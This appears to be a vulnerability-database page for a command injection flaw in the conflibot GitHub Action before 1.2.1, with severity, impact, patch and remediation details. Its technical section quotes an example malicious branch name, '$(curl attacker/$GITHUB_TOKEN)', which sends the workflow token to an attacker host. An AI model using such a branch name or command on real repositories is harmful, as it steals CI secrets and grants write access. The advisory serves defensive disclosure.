Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Any user can open a PR (AV:N, PR:N, UI:N) and a crafted branch name auto-executes commands yielding token/secret theft and repo writes (C:H/I:H); no availability impact and no cross-system scope change (A:N, S:U).
Primary rating from Vendor (https://github.com/wktk/conflibot).
CVSS VectorVendor: https://github.com/wktk/conflibot
Lifecycle Timeline
3DescriptionCVE.org
Impact
Versions of conflibot before 1.2.1 build git commands by string interpolation and run them through a shell. Several of the interpolated values are pull request branch names (head.ref), which are attacker-controlled: anyone can open a pull request (including from a fork) whose head branch name contains shell metacharacters such as ` `, $( ), ;, |, or &`.
The recommended workflow runs conflibot on the pull_request_target event, where the job has access to the base repository's secrets and a write-scoped GITHUB_TOKEN. As a result, a crafted branch name causes arbitrary command execution on the runner with that write token in the environment, allowing an attacker to exfiltrate secrets and the token, push to the repository, or otherwise abuse the token's permissions. No special privileges and no maintainer interaction are required - the action runs automatically when the pull request is opened.
Affected configurations
Any workflow using wktk/conflibot at a version earlier than 1.2.1. The risk is highest under pull_request_target (the documented configuration), because that is where the write token and secrets are exposed to attacker-influenced refs.
Patches
Fixed in 1.2.1 and 2.0.0. All git invocations now use argument arrays via execFile/spawn instead of a shell, so branch names can no longer be interpreted as shell syntax, and pull requests are referenced by number through refs/pull/<n>/head rather than by branch name.
Workarounds
There is no configuration-only workaround for affected versions. Upgrade to wktk/conflibot@v2. On GitHub-hosted runners this is a drop-in upgrade; self-hosted runners additionally need Node.js 24 support and git 2.38 or later.
Resources
- Fix (v2.0.0): https://github.com/wktk/conflibot/commit/0107ac6
- Fix (v1.2.1): https://github.com/wktk/conflibot/commit/59e255c
- Releases: https://github.com/wktk/conflibot/releases/tag/v2.0.0 and https://github.com/wktk/conflibot/releases/tag/v1.2.1
Articles & Coverage 2
AnalysisAI
Arbitrary command execution in the conflibot GitHub Action (versions before 1.2.1) lets any user who opens a pull request run shell commands on the workflow runner. conflibot builds git commands via string interpolation and executes them through a shell, and one interpolated value is the attacker-controlled PR head branch name (head.ref); a branch name containing shell metacharacters is executed as code. Under the documented pull_request_target configuration the runner holds a write-scoped GITHUB_TOKEN and repository secrets, so this is a critical CI/CD supply-chain exposure (CVSS 9.1). There is no public exploit identified at time of analysis, but the technique is well understood and the trigger is trivial.
Technical ContextAI
conflibot is a Node.js-based GitHub Action that detects merge conflicts between pull requests by fetching refs and running git merge/format-patch operations. The root cause is CWE-78 (OS Command Injection): the vulnerable code (system(command)) passed a single interpolated string such as git checkout ${pull.data.head.ref} and git format-patch origin/${base.ref}..origin/${head.ref} to child_process.exec, which spawns a shell. Because GitHub allows arbitrary branch names, an attacker names their fork branch something like $(curl attacker/$GITHUB_TOKEN) and the shell evaluates it. The CPE identifier pkg:actions/wktk_conflibot confirms this is a GitHub Actions marketplace action rather than a library. The fix (commits 0107ac6 and 59e255c) replaces exec with execFile/spawn using argument arrays (no shell) and references PRs by number via refs/pull/<n>/head, so untrusted branch names never reach git.
RemediationAI
Vendor-released patch: upgrade to wktk/conflibot@v2 (2.0.0), or to 1.2.1 on the v1 line. On GitHub-hosted runners v2 is a drop-in upgrade; self-hosted runners must additionally provide Node.js 24 and git 2.38 or later before moving to v2. The vendor states there is no configuration-only workaround for affected versions, so patching is mandatory. As interim compensating controls until the pin is bumped, you can stop running the action on pull_request_target and switch to the plain pull_request event (trade-off: the job then runs with a read-only token and cannot post status/comments that require write access, reducing the action's usefulness), or gate the workflow so it does not run automatically on fork PRs (trade-off: conflict detection no longer covers external contributions, which is much of its value). Reference the fix commits 0107ac6 (v2.0.0) and 59e255c (v1.2.1) and advisory GHSA-2qvg-qr73-mqxp. After upgrading, rotate any secrets that may have been exposed to prior runs.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-78769
GHSA-2qvg-qr73-mqxp